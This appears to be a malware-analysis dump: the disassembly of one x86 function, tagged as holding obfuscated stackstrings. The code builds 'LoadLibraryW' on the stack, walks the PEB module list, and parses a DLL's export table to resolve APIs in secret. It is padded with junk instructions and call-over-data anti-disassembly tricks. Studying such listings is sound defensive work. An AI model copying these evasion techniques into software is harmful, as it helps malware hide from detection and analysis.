Function at 0x40a288
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
push ecx
add esp, 4
and ecx, 0x132d4
pop ecx
push eax
call 0x40a288
add byte [eax + 0x42], al
inc esp
xor eax, dword [esi + 0x49]
dec edx
add esp, 4
or eax, 0x15128
add eax, 0xd44e
or eax, 0x10782
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push eax
push esi
add esp, 4
sub eax, 0xbf9b
jmp 0x40a332
add eax, 0x14686
pop eax
push edi
or edi, 0x76f6
and edi, 0xaa16
or edi, 0x2d40
and edi, 0xc946
pop edi
cmp dword [ebp - 0x1518], 0
jne 0x40a36b
mov dword [ebp - 0x710], 0
jmp 0x40a612
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ebx
push ecx
add esp, 4
or ebx, 0x11c71
or ebx, 0xadcf
or ebx, 0x14827
pop ebx
push ebx
push ecx
add esp, 4
xor ebx, 0xeafb
pop ebx
push esi
or esi, 0x392d
add esi, 0xe07b
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x40a3c7
mov dword [ebp - 0x710], 0
jmp 0x40a612
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edx
push edi
add esp, 4
xor edx, 0x5b49
add edx, 0xcbaa
add edx, 0x11224
jmp 0x40a3f0
pop edx
push esi
and esi, 0x10094
add esi, 0xd768
xor esi, 0x6804
pop esi
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push eax
push eax
add esp, 4
and eax, 0x2b15
or eax, 0x11f39
add eax, 0xa04d
add eax, 0x11c95
pop eax
push edi
push edi
add esp, 4
add edi, 0x9f11
pop edi
push eax
or eax, 0x15dec
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push eax
push edi
add esp, 4
add eax, 0x20
add eax, 0x3f0c
call 0x40a4d8
add byte [ebx + 0x48], al
cmp eax, 0x414a3544
xor al, 0x50
add esp, 4
pop eax
push eax
and eax, 0xb892
sub eax, 0x14c12
pop eax
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x40a507
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x40a561
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x40a42f
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x40a42f
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x40a54b
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x40a555
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x40a5aa
push esi
add esi, 0x10dff
xor esi, 0xf314
add esi, 0x34c9
pop esi
push edx
push ebx
add esp, 4
jmp 0x40a589
xor edx, 0x13e49
xor edx, 0x654a
and edx, 0x6a83
pop edx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x40a612
push edi
and edi, 0x10249
jmp 0x40a5b7
xor edi, 0x7993
add edi, 0x78ea
pop edi
push ebx
call 0x40a5d2
add byte [ecx + 0x4e], cl
dec ecx
cmp cl, byte [ebp + edi - 0x7d]
les eax, [ecx + eax*4]
ret
push ebx
add ebx, 0x397a
and ebx, 0xb14b
xor ebx, 0x14420
and ebx, 0xb57
pop ebx
push edx
push edx
add esp, 4
or edx, 0x7fba
xor edx, 0xb4ae
sub edx, 0xe4b3
pop edx
cmp dword [ebp - 0x710], 0
jne 0x40a68e
push edx
push edx
add esp, 4
sub edx, 0xef51
or edx, 0x8c2a
sub edx, 0x13717
pop edx
push esi
jmp 0x40a66c
add esi, 0x16251
and esi, 0x2f28
sub esi, 0x129ca
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x40b1b6
push ebx
call 0x40a69e
add byte [ebx], bh
dec edx
cmp eax, dword [ebx + 0x3a]
dec esp
inc ecx
inc esi
inc ebx
add esp, 4
jmp 0x40a6a7
pop ebx
push edx
push edx
add esp, 4
and edx, 0x95c1
add edx, 0x10dea
jmp 0x40a6bf
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x40a6ff
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40a9f0
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x40a727
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x40a9f0
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x40a759
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x40a9f0
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x40a77e
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x40a9f0
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x40a7d8
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x40a9e4
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x40a848
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x40a8fa
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x40a8fa
push ecx
push edx
add esp, 4
and ecx, 0x138ff
pop ecx
push ecx
push edx
add esp, 4
sub ecx, 0x1ddd
jmp 0x40a892
pop ecx
push edi
sub edi, 0xe2db
add edi, 0xe91f
xor edi, 0x93c9
pop edi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x40a8ec
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x40a8f3
jmp 0x40a839
jmp 0x40a8fa
push edx
push esi
add esp, 4
add edx, 0xa326
pop edx
push ebx
sub ebx, 0xce17
call 0x40a91c
add byte [edx + 0x40], cl
dec ecx
dec esi
cmp eax, 0x473d4f4d
add esp, 4
pop ebx
push ecx
push edx
add esp, 4
xor ecx, 0x7c1e
pop ecx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x40a959
mov dword [ebp - 0xc5c], 0
jmp 0x40a9c8
push edi
push ebx
add esp, 4
jmp 0x40a964
add edi, 0x7cee
xor edi, 0xada9
add edi, 0xaa7
pop edi
push ecx
add ecx, 0xe11b
add ecx, 0x748b
xor ecx, 0x4c0a
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x40a9be
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x40a9c8
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x40a9df
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x40a9f0
jmp 0x40a7c9
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x40aacb
push esi
and esi, 0x785c
call 0x40aa14
add byte [edi + ecx*2 + 0x4a], al
dec eax
inc ebx
dec edi
inc ecx
cmp al, 0x45
aaa
add esp, 4
add esi, 0x14ee7
call 0x40aa2b
add byte [ebx + 0x40], cl
inc esp
cmp al, byte [edi + 0x3e]
aas
aaa
add esp, 4
pop esi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
push eax
add esp, 4
call 0x40aa4c
add byte [esi + 0x35], al
dec eax
cmp al, 0x34
dec esp
add esp, 4
sub edx, 0x12237
call 0x40aa63
add byte [ecx + 0x40], cl
xor dh, byte [edx]
xor eax, 0x833d364f
les eax, [ecx + eax*4]
xchg ebx, eax
cmp eax, 0x8b5a0000
xchg ebp, eax
adc bh, ah
invalid
push edi
add edi, 0x12c47
xor edi, 0x14d09
pop edi
push eax
and eax, 0x129a6
jmp 0x40aae8
or eax, 0x1c82
pop eax
push edx
and edx, 0x788d
and edx, 0xa283
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
sub ecx, 0x14d7c
jmp 0x40ab34
jmp 0x40ab3b
sub ecx, 0xca02
pop ecx
push ebx
push edi
add esp, 4
jmp 0x40ab4d
jmp 0x40ab56
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x40ab6f
mov dword [ebp - 0x2a8], 0
jmp 0x40ae16
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push esi
or esi, 0x15db1
pop esi
push edx
push ecx
add esp, 4
sub edx, 0x13751
xor edx, 0x17a53
or edx, 0x8b0e
call 0x40abaf
add byte [eax + 0x4d], al
cmp al, 0x46
push eax
inc esp
push eax
xor eax, 0x4c4834f
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x40abcb
mov dword [ebp - 0x2a8], 0
jmp 0x40ae16
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push eax
push edi
add esp, 4
xor eax, 0xb631
pop eax
push eax
sub eax, 0x6785
and eax, 0x89dd
sub eax, 0x343d
xor eax, 0xc534
pop eax
push esi
push edi
add esp, 4
add esi, 0x6d8c
pop esi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edi
xor edi, 0xed64
and edi, 0xa2fa
call 0x40ac4d
add byte [ebp + 0x36], cl
dec edi
cmp al, 0x38
xor eax, dword [edx - 0x7d]
les eax, [ebx + ebp*8]
push es
dec edx
inc esp
xor al, 0x45
push eax
pop edi
push esi
push ebx
add esp, 4
xor esi, 0x11e8
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edx
push eax
add esp, 4
xor edx, 0x10e1f
pop edx
push ecx
push edi
add esp, 4
and ecx, 0x1676e
xor ecx, 0x8de7
or ecx, 0x16085
pop ecx
push ebx
and ebx, 0x11e7e
xor ebx, 0x9ac0
pop ebx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x40ad0b
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x40ad65
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x40ac33
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x40ac33
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x40ad4f
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x40ad59
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x40adae
push edi
sub edi, 0x4d8b
sub edi, 0xfc60
or edi, 0x9da6
pop edi
push ebx
push esi
add esp, 4
and ebx, 0x41e4
add ebx, 0xfac5
xor ebx, 0xde4c
add ebx, 0xf1ff
pop ebx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x40ae16
push ebx
sub ebx, 0xe360
pop ebx
push esi
xor esi, 0xb752
pop esi
push ecx
xor ecx, 0x17d3f
pop ecx
push esi
sub esi, 0x154f3
or esi, 0xf813
add esi, 0x1482d
jmp 0x40addf
pop esi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x40ae0c
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x40abd7
mov dword [ebp - 0x2a8], 0
push esi
push eax
add esp, 4
call 0x40ae2a
add byte [esi], bh
cmp eax, dword [edi + 0x4c]
cmp dword [edi + 0x36], ecx
xor al, byte ss:[ebx + 0xae804c4]
add byte [eax], al
add byte [eax], al
inc ecx